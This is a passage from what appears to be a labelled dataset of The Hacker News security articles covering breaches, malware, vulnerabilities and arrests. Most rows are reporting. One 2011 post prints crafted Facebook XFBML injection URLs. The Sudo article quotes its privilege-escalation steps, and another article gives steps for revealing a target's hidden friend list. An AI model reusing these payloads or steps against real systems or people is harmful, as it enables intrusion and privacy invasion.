As demonstrated by the team, attackers can also inject malicious JavaScript payloads to leverage an undocumented and potentially dangerous Unity Scripting API to secretly download malware from the Internet and execute it on a targeted system or for all users.

""The function Unity.openLink() was found to launch web links in the default 6 browsers. An XSS attack containing an HTTP, FTP, or SMB link could cause arbitrary files to be fetched and downloaded,"" researchers told The Hacker News.
""We expect that most of the applications using affected Unity API may be vulnerable.""

The team discovered the vulnerabilities while testing the security of VR systems through its National Science Foundation-funded project.

Man-in-the-Room (MITR) Attack

As dubbed by the researchers, Man-in-the-Room is one of the attack scenarios where a hacker secretly joins a VR room while remaining invisible to other users in the same room.

""They can't see you, they can't hear you, but the hacker can hear and see them, like an invisible Peeping Tom. A different layer of privacy has been invaded,"" Ibrahim Baggili, founder and co-director of the Cyber Forensics Research and Education Group, said.
The team found that Bigscreen application uses Dynamically Loaded Libraries (DLLs) without integrity checking that allowed the researchers to modify the source code of selected libraries and change its behavior, letting them hide their presence from UI using XSS payloads.

""Our proof-of-concept WebRTC application was able to connect to legitimate Bigscreen application. This lead to complete control over one end of audio/video/microphone/data streams. Our application was invisible in the VR room because it did not send any data to other peers,"" the researchers said.

The team responsibly reported their findings to both Bigscreen and Unity. Bigscreen acknowledged the security vulnerabilities in its ""servers and streaming systems"" and released the new Bigscreen Beta ""2019 Update"" that fully patched the issues.

Moreover, Unity acknowledged the vulnerabilities by merely adding a note to its documentation stating that its platform ""can be used to open more than just web pages, so it has important security implication you must be aware of.""
",Vulnerability
Passwordstate Password Manager Update Hijacked to Install Backdoor on Thousands of PCs,https://thehackernews.com/2021/04/passwordstate-password-manager-update.html,"Click Studios, the Australian software company behind the Passwordstate password management application, has notified customers to reset their passwords following a supply chain attack.
The Adelaide-based firm said a bad actor used sophisticated techniques to compromise the software's update mechanism and used it to drop malware on user computers.
The breach is said to have occurred between April 20, 8:33 PM UTC, and April 22, 0:30 AM UTC, for a total period of about 28 hours.
""Only customers that performed In-Place Upgrades between the times stated above are believed to be affected,"" the company said in an advisory. ""Manual Upgrades of Passwordstate are not compromised. Affected customers password records may have been harvested.""
The development was first reported by the Polish tech news site Niebezpiecznik. It's not immediately clear who the attackers are or how they compromised the password manager's update feature. Click Studios said an investigation into the incident is ongoing but noted ""the number of affected customers appears to be very low.""
Passwordstate is an on-premise web-based solution used for enterprise password management, enabling businesses to securely store passwords, integrate the solution into their applications, and reset passwords across a range of systems, among others. The software is used by 29,000 customers and 370,000 security and IT professionals globally, counting several Fortune 500 companies spanning verticals such as banking, insurance, defense, government, education, and manufacturing.
According to an initial analysis shared by Denmark-based security firm CSIS Group, the malware-laced update came in the form of a ZIP archive file, ""Passwordstate_upgrade.zip,"" which contained a modified version of a library called ""moserware.secretsplitter.dll"" (VirusTotal submissions here and here).
This file, in turn, established contact with a remote server to fetch a second-stage payload (""upgrade_service_upgrade.zip"") that extracted Passwordstate data and exported the information back to the adversary's CDN network. Click Studios said the server was taken down as of April 22 at 7:00 AM UTC.
The full list of compromised information includes computer name, user name, domain name, current process name, current process id, names and IDs of all running processes, names of all running services, display name and status, Passwordstate instance's Proxy Server Address, usernames and passwords..
Click Studios has released a hotfix package to help customers remove the attacker's tampered DLL and overwrite it with a legitimate variant. The company is also recommending that businesses reset all credentials associated with external facing systems (firewalls, VPN) as well as internal infrastructure (storage systems, local systems) and any other passwords stored in Passwordstate.
Passwordstate's breach comes as supply chain attacks are fast emerging a new threat to companies that depend on third-party software vendors for their day-to-day operations. In December 2020, a rogue update to the SolarWinds Orion network management software installed a backdoor on the networks of up to 18,000 customers.
Last week, software auditing startup Codecov alerted customers that it discovered its software had been infected with a backdoor as early as January 31 to gain access to authentication tokens for various internal software accounts used by developers. The incident didn't come to light until April 1.

",Cyber_Attack
All Smartwatches are vulnerable to Hackers,https://thehackernews.com/2015/07/smartwatch-hacking.html,"Do you own a Smartwatch? If yes, then how safe it is? There are almost 100 percent chances that you own a vulnerable Smartwatch.

Computer manufacturer Hewlett-Packard is warning users of smartwatches including Apple Watch and Samsung Gear that their wearable devices are vulnerable to cyber attacks.

In a study, HP's Fortify tested today's top 10 smartwatches for security features, such as basic data encryption, password protection and privacy concerns.

The most shocking part of the study was that –

Not even a Single Smartwatch Found to be 100 percent Safe

Security experts found that 100 percent of wearable devices contained at least one serious security vulnerability that could make the devices vulnerable to hackers.

With the increase in the adoption of smartwatches, manufacturers need to pay closer attention to the customers' security because these wearable devices could potentially open doors to new threats to personal and sensitive information.
""As the adoption of Smartwatches accelerates, the platform will become vastly more attractive to those who would abuse that access, making it critical that we take precautions when transmitting personal data or connecting Smartwatches into corporate networks,"" Jason Schmitt, general manager at HP's Security Fortify said in a statement.
The study [PDF], no doubt, had included Smart watches by Apple, Pebble, Samsung and Sony, as it claims to have picked top 10 smartwatches.
Here's the list of issues reported by HP:

1. Lack of transport encryption – Though all products implemented transport encryption using SSL/TLS, 40 percent of devices found to be either vulnerable to the POODLE attack, allowing the use of weak cyphers, or still using SSL v2.

2. Insecure Interfaces – Three out of ten smartwatches used cloud-based web interfaces and all of them were vulnerable to account harvesting. This allowed unlimited login attempts, helping hackers guess passwords.

3. Insufficient User Authentication/Authorization – Three out of ten smartwatches completely failed to offer Two-Factor authentication, or the ability to lock accounts after 3 to 5 failed password attempts.

4. Insecure Software/Firmware – 7 out of 10 smartwatches had issues with firmware updates. The wearable devices, including smartwatches, often did not receive encrypted firmware updates, but many updates were signed to help prevent malicious firmware updates from being installed. While a lack of encryption did not allow the files to be downloaded and analyzed.

5. Privacy Concerns – Smartwatches also demonstrate a risk to personal security as well as privacy. All the tested devices collected some form of personal information, including username, address, date of birth, gender, heart rate, weight and other health information.

The experts said it would not disclose the names of smartphone manufacturers whose watches they had tested, but they are working with vendors to ""build security into their products before they put them out to market.""

Meanwhile, HP urges users to not connect their smartwatches to the sensitive access control functions like cars or homes unless strong authorization is offered.

",Vulnerability
Facebook Status Update With XFBML Injection,https://thehackernews.com/2011/08/facebook-status-update-with-xfbml.html,"Facebook Status Update With XFBML Injection

i Last week Acizninja DeadcOde share Tweaking Facebook Status with HTML button. Well today he is going to share another kind of cool tricks to tweak Facebook Status Update using XFBML Injection. With this tweak, we will do an injection on Facebook URL and then share the results of the injections on our Facebook status .Here's the preview and the url code :

LIVE STREAM : https://www.facebook.com/unix.root/posts/217926581593127
[code]
https://www.facebook.com/connect/prompt_feed.php?display=touch&api_key=209403259107231&link=https://t.co/q3EzkPR&attachment={%27description%27%3A%27%3Cfb:live-stream%20event_app_id=%22266225821384%22%20width=%22400%22%20height=%22500%22%20xid=%22%22%20via_url=%22https://t.co/q3EzkPR%22%20always_post_to_friends=%22false%22%3E%3C/fb:live-stream%3E+%27}
[/code]

TEXT AREA : https://www.facebook.com/unix.root/posts/136123736478234
[code]
https://www.facebook.com/connect/prompt_feed.php?&api_key=209403259107231&attachment={%27name%27:%27%20%3Ccenter%3E%3Cfb:editor-text%20label=%22Powered%20By%22%20name=%22title%22%20value=%22%20https://thehackernews.com%22/%3E%3C/br%3E%3Ccenter%3E%3C/center%3E%3Cfb:editor-textarea%20label=%22Komentar%20Anda%22%20name=%22comment%22%20value=%22%20JEMPOL%22/%3E%3Cfb:editor-buttonset%3E%3Ccenter%3E%3Cbutton+type%3D%22button%22%3EKomentari%3C/button%3E%3C/center%3E%27}
[/code]

CAPTCHA : https://www.facebook.com/unix.root/posts/248809308482674
[code]
https://www.facebook.com/connect/prompt_feed.php?&attachment={'href'%3A'http%3A%2F%2Fthehackernews.com'%2C'name'%3A'+<center><button+type%3D""button"">Fail + book = Facebook<%2Fbutton><%2Fcenter><fb%3Acaptcha+showalways%3D""true""+%2F><input+type%3D""submit""+%2F><%2Fform><button+type%3D""button"">kirim+<%2Fbutton>%27}
[/code]

Happy Tweaking,
[Source] and Credit to : Acizninja DeadcOde

",Vulnerability
"Interpol Arrests 3 Nigerian BEC Scammers For Targeting Over 500,000 Entities",https://thehackernews.com/2020/11/interpol-arrest-3-nigerian-bec-scammers.html,"Three Nigerian citizens suspected of being members of an organized cybercrime group behind distributing malware, carrying out phishing campaigns, and extensive Business Email Compromise (BEC) scams have been arrested in the city of Lagos, Interpol reported yesterday.
The investigation, dubbed ""Operation Falcon,"" was jointly undertaken by the international police organization along with Singapore-based cybersecurity firm Group-IB and the Nigeria Police Force, the principal law enforcement agency in the country.
About 50,000 targeted victims of the criminal schemes have been identified so far, as the probe continues to track down other suspected gang members and the monetization methods employed by the group.
Group-IB's participation in the year-long operation came as part of Interpol's Project Gateway, which provides a framework for agreements with selected private sector partners and receives threat intel directly.
""The suspects are alleged to have developed phishing links, domains, and mass mailing campaigns in which they impersonated representatives of organizations,"" Interpol said. ""They then used these campaigns to disseminate 26 malware programmes, spyware and remote access tools, including AgentTesla, Loki, Azorult, Spartan and the nanocore and Remcos Remote Access Trojans.""
In addition to perpetrating BEC campaigns and sending out emails containing malware-laced email attachments, the attacks have been used to infiltrate and monitor the systems of victim organizations and individuals, leading to the compromise of at least 500,000 government and private sector companies in more than 150 countries since 2017.
According to Group-IB, the three individuals — identified only by their initials OC, IO, and OI — are believed to be members of a gang which it has been tracking under the moniker TMT, a prolific cybercrime crew that it says is divided into multiple smaller subgroups based on an analysis of the attackers' infrastructure and techniques.
Some of their mass email phishing campaigns took the form of purchasing orders, product inquiries, and even COVID-19 aid impersonating legitimate companies, with the operators leveraging Gammadyne Mailer and Turbo-Mailer to send out phishing emails. The group also relied on MailChimp to track whether a recipient opened the message.
The ultimate goal of the attacks, Group-IB noted, was to steal authentication data from browsers, email, and FTP clients from companies located in the US, the UK, Singapore, Japan, Nigeria, among others.
""This group was running a well-established criminal business model,"" Interpol's Cybercrime Director Craig Jones noted. ""From infiltration to cashing in, they used a multitude of tools and techniques to generate maximum profits.""

",Malware
Value.net (ISP) hacked by Sec Indi,https://thehackernews.com/2011/05/valuenet-isp-hacked-by-sec-indi.html,"Value.net (ISP) hacked by Sec Indi


According to Sec Indi ""value.net ISP has security holes, actually the holes are unknown., no damages or changes done in server""
Hack Proof:



",Vulnerability
Free Thanatos Ransomware Decryption Tool Released,https://thehackernews.com/2018/06/free-ransomware-decryption-tools.html,"If your computer has been infected with Thanatos Ransomware and you are searching for a free ransomware decryption tool to unlock or decrypt your files—your search is over here.

Security researchers at Cisco Talos have discovered a weakness in the Thanatos ransomware code that makes it possible for victims to unlock their Thanatos encrypted files for free without paying any ransom in cryptocurrencies.

Like all ransomware threats, Thanatos encrypts files and asks victims to pay for ransom in multiple cryptocurrencies, including Bitcoin Cash, to decrypt their files.
""Multiple versions of Thanatos have been leveraged by attackers, indicating that this is an evolving threat that continues to be actively developed by threat actors with multiple versions having been distributed in the wild,"" the researchers say.
""Unlike other ransomware commonly being distributed, Thanatos does not demand ransom payments to be made using a single cryptocurrency like bitcoin. Instead, it has been observed supporting ransom payments in the form of Bitcoin Cash (BCH), Zcash (ZEC), Ethereum (ETH) and others.""
Once infected, all the encrypted filename extensions on the affected computer are changed to .THANATOS, and then a ransom note pops up whenever the user tries to log on to the system, instructing them to send the ransom money to a hardcoded cryptocurrency wallet address in order to decrypt the files.

However, since Thanatos uses different encryption keys to encrypt each file on an infected system without storing them anywhere, it is impossible for malware authors to return users' data, even if the victims pay the ransom.

Free Thanatos Ransomware Decryption Tool

Cisco researchers analyzed the malware code and found a loophole in the design of the file encryption methodology used by Thanatos, using which they developed a free ransomware decryption tool that will help victims decrypt their files.

Dubbed ThanatosDecryptor, the open source, free ransomware decryption tool can be downloaded from the GitHub website, which has recently been acquired by Microsoft for $7.5 billion, and works for Thanatos ransomware versions 1 and 1.1

Since the encryption keys used by Thanatos are derived based upon the number of milliseconds since the system last booted, it was possible for researchers to reverse engineer the logic and re-generate the same 32-bit encryption key using brute force attack and Windows Event Logs.
""Since Thanatos does not modify the file creation dates on encrypted files, the key search space can be further reduced to approximately the number of milliseconds within the 24-hour period leading up to the infection,"" researchers explain.
""At an average of 100,000 brute-force attempts per second (which was the baseline in a virtual machine used for testing), it would take roughly 14 minutes to successfully recover the encryption key in these conditions.""
For more detail about the Thanatos ransomware, you can head on to detailed blog post published by Cisco Talos today.

How to Protect Yourself From Ransomware Attacks

Most ransomware spread through phishing emails, malicious adverts on websites, and third-party apps and programs. Whether it's Locky, CoinVault, Thanatos, TeslaCrypt, or any other ransomware malware, the protection measures are standard.

To safeguard against such ransomware attacks, you should always be suspicious of uninvited documents sent in an email and never click on links inside those documents unless verifying their sources.

Check if macros are disabled in your MS Office apps. If not, block macros from running in MS Office files from the Internet.

In order to always have a tight grip on all your important documents, keep a good backup routine in place that makes copies of your files to an external storage device which is not always connected to your PC.

Moreover, make sure that you run an active behavioral-based antivirus security suite on your system that can detect and block such malware before it can infect your device, and always remember to keep them up-to-date.

",Malware
Free Tool Allows Anyone to View Facebook Users' Hidden Friends List,https://thehackernews.com/2015/05/facebook-friends-mapper.html,"Facebook lets you control your every single information posted on the social media site by giving many options to make them private from others, even from your friends.

But…

There are some personal information on Facebook that you just cannot completely hide — Your friends list are among those, even if there is an option to hide it.

The issue resides in the Facebook's mutual-friends feature concept, which has been in controversies in the past, raising privacy concerns.

But now, a new Free Chrome extension called ""Facebook Friends Mapper"" (developed by Alon Kollmann) can expose a lot more than just mutual friends of the two Facebook users in ""just one click,"" creating high security and Privacy risks for Facebook users.

Generally, Facebook also allows you to set the visibility of your list of Facebook friends to ""Only Me"" if you want to keep your friends list hidden from other Facebook users as well as your own friends.

However, the problem is…

...even if you set your friends list to private, other Facebook users may still be able to see part of your hidden Friends list and that part is a lot more than just your mutual friends.

How does Facebook Friends Mapper Chrome extension work?

Facebook Friends Mapper extension leverages the Mutual Friends feature of the social networking site to crawl and expose your hidden Facebook Friends list.
If, for example, Facebook CEO Mark Zuckerberg does not share his friends list with the public and neither I am on his friend list. However, I have at least one mutual friend with him. Therefore…

...using Facebook Friends Mapper tool I would be able to see most of his hidden Facebook friends by exploiting the 'mutual friend' logical flaw.

How to use Facebook Friends Mapper Chrome extension?

1. Install Facebook Friends Mapper extension from Chrome web store.
2. Open Facebook Profile of user you want to target.
3. You will find 'Reveal Friends' option on Friends tab.
4. Click on Reveal Friends and Bang!

Just one condition to meet:

In case you want to see hidden Facebook Friend list of anyone, you can use Facebook Friends Mapper extension if you fulfill the following conditions:
Facebook user, whose friends list you want to target, must have at least one mutual friend with you, and doesn't matter if you are friends with him/her or not.
Facebook Friends Mapper Chrome extension launched just a few days ago, so most of the users are yet unaware about this Facebook Hacking Tool.

You can Install Facebook Friends Mapper Chrome extension from free from Google Chrome Extension Store.

If you are willing to keep your friend list private, then please note that Facebook's current privacy setting would not help you to resolve the issue. So, we expect a privacy patch from Facebook Security team as soon as possible before this tool goes wild.

",Vulnerability
Chinese Hackers group 'Comment Crew' is still active and operating under cover,https://thehackernews.com/2013/06/Comment-Crew-Chinese-Hackers.html,"Security experts are confident that the Chinese hackers group known as Comment Crew is still operating under cover. ""The Comment Crew is back again"" this is the rumor within Intelligence community, researchers suspect the involvement of the group of hackers in the recent cyber dispute between U.S. and China.

Let's make a step back, last February Mandiant Intelligence firm released an interesting report that revealed an enterprise-scale computer espionage campaign dubbed APT1.
Mandiant linked the APT1 attacks, that compromised 141 organizations in seven years, to Chinese military unit called ""61398"". The is very interesting is that the security firm identified a common pattern for the attacks conducted by Chinese hackers group, it was also able to define a series of key indicators for identifying ongoing APT attacks.
Mandiant security firm had monitored the group during last years and report details its operations, it wasn't the only one FireEye is another company which is distinguished in this type of investigation.

From the analysis of past attacks and the observation of ongoing events the researchers noted that after the intense activities observed early 2013 the group Comment Crew stopped using its infrastructures and to attack the previous targets. The behavior was probably caused by a change of tactics of the group after the revelations of it operations, it's common conviction that The Comment Crew group started new campaigns against new targets using different infrastructures.

Senior researcher at FireEye. Alex Lanstein sustains that The Comment Crew is still working undercover after an apparent period of rest:

""They took a little breather, and they started back up,"" he said. ""We didn't see them take control of any of the systems they had previously compromised,"" ""They started fresh with a whole new round of attacks."" Lanstein revealed.

The Comment Crew is a group of state-sponsored hackers that operates with a predefined scheme, the security analysts revealed that all the cyber attacks share tools and methods and in many cases from the analysis of the malicious code used it is possible to track the source of the offensives.

The researchers used to track malware campaigns analyzing tracks left by hackers including keyboard layouts and the presence of embedded fonts and abuse of bogus DNS (domain name system) registration details.

Lanstein highlighted another new detail revealed by the investigation of FireEye, The Comment Crew group left the name of their particular coding project, called ""Moonclient,"" in many instances of the malware detected. FireEye kept this information secret to avoid allow its team to follow the Comment Crew but it seems now it seems they have changed tactics and malware.

Lanstein commented on the forgetfulness of hackers with the following words: ""you are dealing with humans on the other side of the keyboard,"" ""This is a mistake made over and over again,"" ""It's more difficult to track them now,"" Lanstein said.

FireEye has released today an interesting report titled ""Digital Bread Crumbs: Seven Clues To Identifying Who's Behind Advanced Cyber Attacks "" that explains how to conduct an investigation based on common errors committed by the hackers.

The document is based on the analysis of nearly 1,500 campaigns tracked by FireEye, the paper reported the results of the study on the common characteristics of various attack and the way to identify the hackers:
Keyboard Layout. Hidden in phishing attempts is information about the attacker's choice of keyboard, which varies by language and region.
Malware Metadata. Malware source code contains technical details that suggest the attacker's language, location, and ties to other campaigns.
Embedded Fonts. The fonts used in phishing emails point to the origin of the attack. This is true even when the fonts are not normally used in the attacker's native language.
DNS Registration. Domains used in attacks pinpoint the attacker's location. Duplicate registration information can tie multiple domains to a common culprit.
Language. Language artifacts embedded in malware often point to the attacker's country of origin and common language mistakes in phishing emails can sometimes be reverse-engineered to determine the writer's native language.
Remote Administration Tool Configuration. Popular malware-creation tools include a bevy of configuration options. These options are often unique to the attacker using the tool, allowing researchers to tie disparate attacks to a common threat actor.
Behavior. Behavioral patterns such as methods and targets give away some of the attacker's methods and motives.
I found the report very interesting and I strongly suggest you its reading, to uncover cyber espionage campaign so articulated and complex it is fundamental to recognize the evidence of ongoing attacks and the real origin of the attackers.

A targeted organization could use the knowledge on methods and objective of the attack for:
Immediately shift resources to bolster vulnerable data
Enlist additional help, whether internal resources or law enforcement
More closely examine other vectors—possibly overlooked—that have been used by the attackers other campaigns

",Cyber_Attack
U.S. drones affected by Keylogger Virus,https://thehackernews.com/2011/10/us-drones-affected-by-keylogger-virus.html,"U.S. drones affected by Keylogger Virus

A keylogger of some sort has infiltrated classified and unclassified computer systems at Creech Air Force Base in Nevada, recording the keystrokes of pilots tasked with operating unmanned drone aircraft in Afghanistan and other international conflict zones.

The virus, first detected nearly two weeks ago by the military's Host-Based Security System, has not prevented pilots at Creech Air Force Base in Nevada from flying their missions overseas. Nor have there been any confirmed incidents of classified information being lost or sent to an outside source. But the virus has resisted multiple efforts to remove it from Creech's computers, network security specialists say. And the infection underscores the ongoing security risks in what has become the U.S. military's most important weapons system.

Tadd Sholtis, a spokesman for Air Combat Command, which oversees the drones and all other Air Force tactical aircraft said, ""We generally do not discuss specific vulnerabilities, threats, or responses to our computer networks, since that helps people looking to exploit or attack our systems to refine their approach. We invest a lot in protecting and monitoring our systems to counter threats and ensure security, which includes a comprehensive response to viruses, worms, and other malware we discover.""

",Malware
"Uber Paid 20-Year-Old Florida Hacker $100,000 to Keep Data Breach Secret",https://thehackernews.com/2017/12/uber-hacker.html,"Last year, Uber received an email from an anonymous person demanding money in exchange for the stolen user database.

It turns out that a 20-year-old Florida man, with the help of another, breached Uber's system last year and was paid a huge amount by the company to destroy the data and keep the incident secret.

Just last week, Uber announced that a massive data breach in October 2016 exposed personal data of 57 million customers and drivers and that it paid two hackers $100,000 in ransom to destroy the information.

However, the ride-hailing company did not disclose identities or any information about the hackers or how it paid them.

Now, two unknown sources familiar with the incident have told Reuters that Uber paid a Florida man through HackerOne platform, a service that helps companies to host their bug bounty and vulnerability disclosure program.

So far, the identity of the Florida man was unable to be obtained or another person who helped him carry out the hack.

Notably, HackerOne, who does not manage or plays any role in deciding the rewards on behalf of companies, receives identifying information of the recipient (hackers and researchers) via an IRS W-9 or W-8BEN form before payment of the award can be made.

In other words, some employees at Uber and HackerOne definitely knows the real identity of the hacker, but choose not to pursue the case, as the individual did not appear to pose any future threat to the company.

Moreover, the sources also said that Uber conducted a forensic analysis of the hacker's computer to make sure that all the stolen data had been wiped, and had the hacker also sign a nondisclosure agreement to prevent further wrongdoings.

Reportedly, the Florida man also paid some unknown portion of the received bounty to the second person, who was responsible for helping him obtain credentials from GitHub for access to Uber data stored elsewhere.

Originally occurred in October 2016, the breach exposed the names and driver license numbers of some 600,000 drivers in the United States, and the names, emails, and mobile phone numbers of around 57 million Uber users worldwide, which included drivers as well.

However, other personal details, like trip location history, dates of birth, credit card numbers, bank account numbers, and Social Security numbers, were not accessed in the attack.

Former Uber CEO Travis Kalanick learned of the cyber attack in November 2016 and chose not to involve authorities, believing the company can easily and more effectively negotiate directly with the hackers to limit any harm to its customers.

However, this secret dealing with the hackers eventually cost Uber security executives their jobs for handling the incident.

Now Uber CEO Dara Khosrowshahi has reportedly fired Uber Chief Security Officer Joe Sullivan, and one of his deputies, Craig Clark, who worked to keep the data breach quiet.
""None of this should have happened, and I will not make excuses for it. While I cannot erase the past, I can commit on behalf of every Uber employee that we will learn from our mistakes,"" Khosrowshahi said.
""We are changing the way we do business, putting integrity at the core of every decision we make and working hard to earn the trust of our customers.""
Last week, three more top Uber security managers resigned, including Sullivan's chief of staff Pooja Ashok, senior security engineer Prithvi Rai, and physical security chief Jeff Jones.

",Cyber_Attack
High-Severity Linux Sudo Flaw Allows Users to Gain Root Privileges,https://thehackernews.com/2017/05/linux-sudo-root-hack.html,"A high-severity vulnerability has been reported in Linux that could be exploited by a low privilege attacker to gain full root access on an affected system.

The vulnerability, identified as CVE-2017-1000367, was discovered by researchers at Qualys Security in Sudo's ""get_process_ttyname()"" function for Linux that could allow a user with Sudo privileges to run commands as root or elevate privileges to root.

Sudo, stands for ""superuser do!,"" is a program for Linux and UNIX operating systems that lets standard users run specific commands as a superuser (aka root user), such as adding users or performing system updates.

The flaw actually resides in the way Sudo parsed ""tty"" information from the process status file in the proc filesystem.

On Linux machines, sudo parses the /proc/[pid]/stat file in order to determine the device number of the process's tty from field 7 (tty_nr), Qualys Security explains in its advisory.

Although the fields in the file are space-delimited, it is possible for field 2 (the command name) to include whitespace (including newline), which sudo doesn't account for.

Therefore, a local user with sudo privileges (Sudoer) on SELinux-enabled systems can cause sudo to use a device number of his choice ""by creating a symbolic link from the sudo binary to a name that contains a space, followed by a number,"" escalating their privileges to overwrite any file on the filesystem, including root-owned files.
""To exploit the bug, the user can choose a device number that does not currently exist under /dev. If sudo does not find the terminal under the /dev/pts directory, it performs a breadth-first search of /dev...The attacker may then create a symbolic link to the newly-created device in a world-writable directory under /dev, such as /dev/shm,"" an alert on the sudo project website reads.
""This file will be used as the command's standard input, output and error when an SELinux role is specified on the sudo command line. If the symbolic link under /dev/shm is replaced with a link to another file before [sudo opens it], it is possible to overwrite an arbitrary file by writing to the standard output or standard error. This can be escalated to full root access by rewriting a trusted file such as /etc/shadow or even /etc/sudoers.""

The vulnerability, which affects Sudo 1.8.6p7 through 1.8.20 and marked as high severity, has already been patched in Sudo 1.8.20p1, and users are recommended to update their systems to the latest release.

Red Hat yesterday pushed out patches for Red Hat Enterprise Linux 6, Red Hat Enterprise Linux 7, and Red Hat Enterprise Linux Server. Debian has also released fixes for its Wheezy, Jessie and Sid releases and SUSE Linux has rolled out fixes for a number of its products.

Qualys Security said it would publish its Sudoer-to-root exploit once a maximum number of users have had time to patch their systems against the flaw.

",Vulnerability
Lenovo Website has been Hacked,https://thehackernews.com/2015/02/lenovo-hacked.html,"Lenovo.com, the official website of world's largest PC maker has been hacked.

At the time of writing, users visiting Lenovo.com website saw a teenager's slideshow and hacker also added song ""Breaking Free"" from High School Musical movie to the page background.

It appears that Lizard Squad hacking group is responsible for the cyber attack against Lenovo and it could be in retaliation to the Superfish malware incident.

It was revealed earlier this week that Lenovo had been pre-installing controversial 'Superfish' adware to its laptops which compromised the computer's encryption certificates to quietly include more ads on Google search.
In the Source code of the hacked webpage, description says,""The new and improved rebranded Lenovo website featuring Ryan King and Rory Andrew Godfrey""
Rory Andrew Godfrey and Ryan King have been previously identified as members of Lizard Squad Hacking Group. It is not clear whether anyone of them is involved in the hack or it is quite possible that attacker is trying to expose the real identity of the hacking crew.

The Superfish Malware raised serious security concerns about the company's move for breaking fundamental web security protocols, because anyone with the password that unlocks that single password-protected certificate authority would be able to completely bypass the computer's web encryption.

After that Facebook security team also discovered at least 12 more apps using the same ""SSL hijacking"" technology that gave the Superfish malware capability to evade rogue certificate.

Although Lenovo has admitted their mistake and distributing a Superfish removal tool for cleaning computer.

",Malware
Orange.es Vulnerable To SQLi - Found by Invectus,https://thehackernews.com/2011/08/orangees-vulnerable-to-sqli-found-by.html,"Orange.es Vulnerable To SQLi - Found by Invectus
People have never focused on SQL injection much, They have no clue that its the most common method which big companies are vulnerable to. Hacker with name ""Invectus"" , Found the SQL injection Vulnerability in Orange.es. Vulnerability has been exposed via Social Networks.

",Vulnerability
Critical DoS Flaw found in OpenSSL — How It Works,https://thehackernews.com/2016/09/openssl-dos-attack.html,"The OpenSSL Foundation has patched over a dozen vulnerabilities in its cryptographic code library, including a high severity bug that can be exploited for denial-of-service (DoS) attacks.

OpenSSL is a widely used open-source cryptographic library that provides encrypted Internet connections using Secure Sockets Layer (SSL) or Transport Layer Security (TLS) for the majority of websites, as well as other secure services.

The vulnerabilities exist in OpenSSL versions 1.0.1, 1.0.2 and 1.1.0 and patched in OpenSSL versions 1.1.0a, 1.0.2i and 1.0.1u.

The Critical-rated bug (CVE-2016-6304) can be exploited by sending a large OCSP Status Request extension on the targeted server during connection negotiations, which causes memory exhaustion to launch DoS attacks, the OpenSSL Project said.

What is OCSP Protocol?

OCSP(Online Certificate Status Protocol), supported by all modern web browsers, is a protocol designed to perform verification and obtain the revocation status of a digital certificate attached to a website.

OCSP divided into client and server components. When an application or a web browser attempts to verify an SSL certificate, the client component sends a request to an online responder via HTTP protocol, which in turn, returns the status of the certificate, valid or not.

Reported by Shi Lei, a researcher at Chinese security firm Qihoo 360, the vulnerability affects servers in their default configuration even if they do not support OCSP.
""An attacker could use the TLS extension ""TLSEXT_TYPE_status_request"" and fill the OCSP ids with continually renegotiation,"" the researcher explained in a blog post.

""Theoretically, an attacker could continually renegotiation with the server thus causing unbounded memory growth on the server up to 64k each time.""
How to Prevent OpenSSL DoS Attack

Administrators can mitigate damage by running 'no-ocsp.' Furthermore, servers using older versions of OpenSSL prior to 1.0.1g are not vulnerable in their default configuration.

Another moderate severity vulnerability (CVE-2016-6305) that can be exploited to launch denial of service attacks is fixed in the patch release, affecting OpenSSL 1.1.0 that was launched less than one month ago.

The team has also resolved a total of 12 low severity vulnerabilities in the latest versions of OpenSSL, but most of them do not affect the 1.1.0 branch.

It is worth noting that the OpenSSL Project will end support for OpenSSL version 1.0.1 on 31st December 2016, so users will not receive any security update from the beginning of 2017. Therefore users are advised to upgrade in order to avoid any security issues.

",Vulnerability
Top 3 Focus Areas that can help you in Data Loss Prevention,https://thehackernews.com/2013/10/top-3-focus-areas-that-can-help-you-in.html,"One of the most intimidating issues that gives nightmares to IT teams across organizations is data breaches or data loss. Typically, data loss happens when security is compromised and corporate sensitive data is accessed. It might fall under any of these categories:
Unauthorized, intentional or unintentional exfiltration of confidential information
Data spill or data leak
This can happen due to external security attacks like malware, hacking or sometimes even from an internal source such as a disgruntled employee. This calls for a data loss prevention (DLP) system in place that would help you contain and avoid the loss of data.
Data loss happens in many stages and can be broadly categorized into three categories:
Data in Motion: Data that moves through the network to the outside, in most cases using the Internet
Data at Rest: Data that rests in your database and other provisions for storage
Data at the Endpoints: Data at the endpoints of your network, say, data on USB and other plugged-in devices.
What is Data Loss Prevention?
DLP is a strategy to make sure that your sensitive data don't move outside of your network. It helps you reduce the risk of the disclosure of confidential information. With the continuous increase in cybercrime, it becomes all the more necessary to protect data breach across various stages.

Here are some focus areas that can help you minimize data loss:

1. Identify the Top Data Loss Scenarios
If you look into all the data loss scenarios thus far, you will be able to cull out a pattern as to which are the ones that have had the highest impact. Also there may be relatively minor data loss incidents but it might be occurring multiple times in a day.

Action item: Identify and classify data based on their sensitivity and keep an eye on their flow within the network and outside. Your classification can be based on the type of data as well, for example, customer data, financial data, etc. Once this is done, based on your security and compliance requirements, you need to build security policies. It is advisable to use a SIEM security tool that will correlate and alerts you in real time upon any security breach.

2. Actively respond to Security Incidents
Once the radar is lit up, security events, tend to pile up thick and fast. It is important to have a dedicated methodology to analyze and respond to all valid security events.

Action item: As you begin to monitor the log events in real time, you would be able to quickly spot security threats. You can deploy an efficient log management tool with active response technology that can help you mitigate and remediate violations and deliver automated responses based on the security incident.

3. Comply with Policy Regulations
If you are handling sensitive and confidential information, you need to be compliant with policy regulations such as FISMA, PCI DSS, HIPAA, etc. Based on the industry in which you operate. For example, if your business involves payment card transactions, you need to be PCI compliant as you are responsible for protecting the cardholder data when you receive it.

Action item: If you are PCI Compliant you need to encrypt the cardholder data with at least a 128 bit SSL certificate to meet this standard. It requires constant assessment and reporting and employees across different levels should get involved to make it effective. SIEM tools help you quickly uncover compliance policy violations by identifying attacks, and highlighting threats with real-time log analysis and powerful cross-device and cross-event correlation covering your entire infrastructure.

SolarWinds Log and Event Manager (LEM) help you quickly uncover policy violations and performs multiple event correlation to understand relationships between dramatically different activities. With it's with real-time log analysis and powerful cross-device/cross-event correlation, LEM lets you effectively identify and respond to threats in real time, rather than being reactive.

LEM also provides over 300 pre-built ""audit-proven"" templates so you can easily generate and schedule PCI and other regulatory compliance reports, as well as customize reports for your organization's specific needs.
Yaagneshwaran Ganesh - Product Marketing Specialist at SolarWinds, with a primary focus on Information Security. Experience across Sales, Market Research,etc.(Google+ Profile)

",Data_Breaches
